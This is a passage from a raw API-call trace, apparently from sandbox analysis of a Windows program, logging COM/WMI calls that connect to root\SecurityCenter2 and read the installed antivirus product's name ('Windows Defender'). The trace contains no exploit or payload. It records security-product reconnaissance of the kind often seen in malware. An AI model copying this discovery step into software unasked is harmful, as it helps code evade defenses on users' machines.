[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbaf48 | out: pCid=0x1afbaf48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.652] WbemDefPath:IUnknown:Release (This=0x1b2280e0) returned 0x3 [0169.652] CoGetContextToken (in: pToken=0x1afbafd0 | out: pToken=0x1afbafd0) returned 0x0 [0169.652] CoGetContextToken (in: pToken=0x1afbb450 | out: pToken=0x1afbb450) returned 0x0 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb510 | out: ppvObject=0x1afbb510*=0x0) returned 0x80004002 [0169.652] WbemDefPath:IUnknown:Release (This=0x1b232420) returned 0x2 [0169.652] WbemDefPath:IUnknown:Release (This=0x1b232420) returned 0x1 [0169.652] CoGetContextToken (in: pToken=0x1afbc240 | out: pToken=0x1afbc240) returned 0x0 [0169.652] CoGetContextToken (in: pToken=0x1afbc140 | out: pToken=0x1afbc140) returned 0x0 [0169.652] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b232420, riid=0x1afbc2a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc270 | out: ppvObject=0x1afbc270*=0x1b232420) returned 0x0 [0169.652] WbemDefPath:IUnknown:AddRef (This=0x1b232420) returned 0x3 [0169.653] WbemDefPath:IUnknown:Release (This=0x1b232420) returned 0x2 [0169.653] WbemDefPath:IWbemPath:SetText (This=0x1b232420, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\SecurityCenter2:AntiVirusProduct.instanceGuid=\"{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}\"") returned 0x0 [0169.653] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc628 | out: puCount=0x1afbc628*=0x2) returned 0x0 [0169.653] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc620*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc620*=0x19, pszText=0x0) returned 0x0 [0169.653] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc620*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc620*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.653] CoGetContextToken (in: pToken=0x1afbc3f0 | out: pToken=0x1afbc3f0) returned 0x0 [0169.653] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x1 [0169.653] IUnknown:Release (This=0x1b22df80) returned 0x0 [0169.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc6d8 | out: puCount=0x1afbc6d8*=0x2) returned 0x0 [0169.655] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6d0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc6d0*=0x19, pszText=0x0) returned 0x0 [0169.655] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6d0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc6d0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.656] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="displayName", lFlags=0, pVal=0x1afbc690*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a76f58*=0, plFlavor=0x2a76f5c*=0 | out: pVal=0x1afbc690*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2a76f58*=8, plFlavor=0x2a76f5c*=0) returned 0x0 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="displayName", lFlags=0, pVal=0x1afbc6e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a76f58*=8, plFlavor=0x2a76f5c*=0 | out: pVal=0x1afbc6e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2a76f58*=8, plFlavor=0x2a76f5c*=0) returned 0x0 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231820, puCount=0x1afbc6d8 | out: puCount=0x1afbc6d8*=0x2) returned 0x0 [0169.656] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6d0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc6d0*=0x19, pszText=0x0) returned 0x0 [0169.656] WbemDefPath:IWbemPath:GetText (in: This=0x1b231820, lFlags=4, puBuffLength=0x1afbc6d0*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc6d0*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.656] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="displayName", lFlags=0, pVal=0x1afbc690*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a77068*=0, plFlavor=0x2a7706c*=0 | out: pVal=0x1afbc690*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2a77068*=8, plFlavor=0x2a7706c*=0) returned 0x0 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] IWbemClassObject:Get (in: This=0x1b2293d0, wszName="displayName", lFlags=0, pVal=0x1afbc6e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a77068*=8, plFlavor=0x2a7706c*=0 | out: pVal=0x1afbc6e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Windows Defender", varVal2=0x0), pType=0x2a77068*=8, plFlavor=0x2a7706c*=0) returned 0x0 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.656] SysStringByteLen (bstr="Windows Defender") returned 0x20 [0169.657] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc718 | out: ppv=0x1afbc718*=0x77dd58) returned 0x0 [0169.657] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc708 | out: pAptType=0x1afbc708*=1) returned 0x0 [0169.657] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc710 | out: ppvObject=0x1afbc710*=0x0) returned 0x80004002 [0169.657] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.657] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbb08 | out: ppv=0x1afbbb08*=0x1b228620) returned 0x0 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b228620, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x0) returned 0x80004002 [0169.658] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b228620, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbc8 | out: ppvObject=0x1afbbbc8*=0x1b231220) returned 0x0 [0169.658] WbemDefPath:IUnknown:Release (This=0x1b228620) returned 0x0 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb970 | out: ppvObject=0x1afbb970*=0x1b231220) returned 0x0 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbba00 | out: ppvObject=0x1afbba00*=0x0) returned 0x80004002 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb1f8 | out: ppvObject=0x1afbb1f8*=0x0) returned 0x80004002 [0169.658] WbemDefPath:IUnknown:AddRef (This=0x1b231220) returned 0x3 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb0b8 | out: ppvObject=0x1afbb0b8*=0x0) returned 0x80004002 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb040 | out: ppvObject=0x1afbb040*=0x0) returned 0x80004002 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb030 | out: ppvObject=0x1afbb030*=0x1b2280a0) returned 0x0 [0169.658] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b2280a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb058 | out: pCid=0x1afbb058*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.658] WbemDefPath:IUnknown:Release (This=0x1b2280a0) returned 0x3 [0169.658] CoGetContextToken (in: pToken=0x1afbb0e0 | out: pToken=0x1afbb0e0) returned 0x0 [0169.658] CoGetContextToken (in: pToken=0x1afbb560 | out: pToken=0x1afbb560) returned 0x0 [0169.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb620 | out: ppvObject=0x1afbb620*=0x0) returned 0x80004002 [0169.659] WbemDefPath:IUnknown:Release (This=0x1b231220) returned 0x2 [0169.659] WbemDefPath:IUnknown:Release (This=0x1b231220) returned 0x1 [0169.659] CoGetContextToken (in: pToken=0x1afbc350 | out: pToken=0x1afbc350) returned 0x0 [0169.659] CoGetContextToken (in: pToken=0x1afbc250 | out: pToken=0x1afbc250) returned 0x0 [0169.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b231220, riid=0x1afbc3b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc380 | out: ppvObject=0x1afbc380*=0x1b231220) returned 0x0 [0169.659] WbemDefPath:IUnknown:AddRef (This=0x1b231220) returned 0x3 [0169.659] WbemDefPath:IUnknown:Release (This=0x1b231220) returned 0x2 [0169.659] WbemDefPath:IWbemPath:SetText (This=0x1b231220, uMode=0x4, pszPath="root\\SecurityCenter2") returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231220, puCount=0x1afbc738 | out: puCount=0x1afbc738*=0x2) returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc730*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc730*=0x19, pszText=0x0) returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc730*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc730*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231220, puCount=0x1afbc748 | out: puCount=0x1afbc748*=0x2) returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc740*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc740*=0x19, pszText=0x0) returned 0x0 [0169.659] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=4, puBuffLength=0x1afbc740*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc740*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.659] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc6c8 | out: ppv=0x1afbc6c8*=0x77dd58) returned 0x0 [0169.659] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc6b8 | out: pAptType=0x1afbc6b8*=1) returned 0x0 [0169.659] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc6c0 | out: ppvObject=0x1afbc6c0*=0x0) returned 0x80004002 [0169.659] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.660] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbbd88 | out: ppv=0x1afbbd88*=0x1b2281e0) returned 0x0 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2281e0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbbe70 | out: ppvObject=0x1afbbe70*=0x0) returned 0x80004002 [0169.660] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b2281e0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe48 | out: ppvObject=0x1afbbe48*=0x1b228440) returned 0x0 [0169.660] WbemLocator:IUnknown:Release (This=0x1b2281e0) returned 0x0 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x1b228440) returned 0x0 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbc80 | out: ppvObject=0x1afbbc80*=0x0) returned 0x80004002 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb478 | out: ppvObject=0x1afbb478*=0x0) returned 0x80004002 [0169.660] WbemLocator:IUnknown:AddRef (This=0x1b228440) returned 0x3 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb338 | out: ppvObject=0x1afbb338*=0x0) returned 0x80004002 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb2c0 | out: ppvObject=0x1afbb2c0*=0x0) returned 0x80004002 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x0) returned 0x80004002 [0169.660] CoGetContextToken (in: pToken=0x1afbb360 | out: pToken=0x1afbb360) returned 0x0 [0169.660] CoGetContextToken (in: pToken=0x1afbb7e0 | out: pToken=0x1afbb7e0) returned 0x0 [0169.660] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8a0 | out: ppvObject=0x1afbb8a0*=0x0) returned 0x80004002 [0169.660] WbemLocator:IUnknown:Release (This=0x1b228440) returned 0x2 [0169.661] WbemLocator:IUnknown:Release (This=0x1b228440) returned 0x1 [0169.661] CoGetContextToken (in: pToken=0x1afbc220 | out: pToken=0x1afbc220) returned 0x0 [0169.661] CoGetContextToken (in: pToken=0x1afbc120 | out: pToken=0x1afbc120) returned 0x0 [0169.661] WbemLocator:IUnknown:QueryInterface (in: This=0x1b228440, riid=0x1afbc280*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbc250 | out: ppvObject=0x1afbc250*=0x1b228440) returned 0x0 [0169.661] WbemLocator:IUnknown:AddRef (This=0x1b228440) returned 0x3 [0169.661] WbemLocator:IUnknown:Release (This=0x1b228440) returned 0x2 [0169.661] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231220, puCount=0x1afbc658 | out: puCount=0x1afbc658*=0x2) returned 0x0 [0169.661] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=8, puBuffLength=0x1afbc650*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc650*=0x19, pszText=0x0) returned 0x0 [0169.661] WbemDefPath:IWbemPath:GetText (in: This=0x1b231220, lFlags=8, puBuffLength=0x1afbc650*=0x19, pszText="000000000000000000000000" | out: puBuffLength=0x1afbc650*=0x19, pszText="\\\\.\\root\\SecurityCenter2") returned 0x0 [0169.661] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1afbc390 | out: ppv=0x1afbc390*=0x1b2283e0) returned 0x0 [0169.661] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b2283e0, strNetworkResource="\\\\.\\root\\SecurityCenter2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1afbc518 | out: ppNamespace=0x1afbc518*=0x1b217d50) returned 0x0 [0169.676] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217d50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc208 | out: ppvObject=0x1afbc208*=0x1b233270) returned 0x0 [0169.677] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b233270, pProxy=0x1b217d50, pAuthnSvc=0x1afbc2d0, pAuthzSvc=0x1afbc250, pServerPrincName=0x1afbc278, pAuthnLevel=0x1afbc254, pImpLevel=0x1afbc260, pAuthInfo=0x1afbc288, pCapabilites=0x1afbc264 | out: pAuthnSvc=0x1afbc2d0*=0xa, pAuthzSvc=0x1afbc250*=0x0, pServerPrincName=0x1afbc278, pAuthnLevel=0x1afbc254*=0x6, pImpLevel=0x1afbc260*=0x2, pAuthInfo=0x1afbc288, pCapabilites=0x1afbc264*=0x1) returned 0x0 [0169.677] WbemLocator:IUnknown:Release (This=0x1b233270) returned 0x1 [0169.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217d50, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc1a0 | out: ppvObject=0x1afbc1a0*=0x1b2332b8) returned 0x0 [0169.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217d50, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x1b233270) returned 0x0 [0169.677] WbemLocator:IClientSecurity:SetBlanket (This=0x1b233270, pProxy=0x1b217d50, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.677] WbemLocator:IUnknown:Release (This=0x1b233270) returned 0x2 [0169.677] WbemLocator:IUnknown:Release (This=0x1b2332b8) returned 0x1 [0169.678] CoTaskMemFree (pv=0x1b2040a0) [0169.678] WbemLocator:IUnknown:Release (This=0x1b2283e0) returned 0x0 [0169.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217d50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbca0 | out: ppvObject=0x1afbbca0*=0x1b2332b8) returned 0x0 [0169.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbd30 | out: ppvObject=0x1afbbd30*=0x0) returned 0x80004002 [0169.680] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb950 | out: ppvObject=0x1afbb950*=0x0) returned 0x80004002 [0169.682] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217d50, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb528 | out: ppvObject=0x1afbb528*=0x0) returned 0x80004002 [0169.684] WbemLocator:IUnknown:AddRef (This=0x1b2332b8) returned 0x3 [0169.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb3e8 | out: ppvObject=0x1afbb3e8*=0x0) returned 0x80004002 [0169.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb370 | out: ppvObject=0x1afbb370*=0x0) returned 0x80004002 [0169.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2332b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb360 | out: ppvObject=0x1afbb360*=0x1b233198) returned 0x0 [0169.684] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233198, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb388 | out: pCid=0x1afbb388*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, 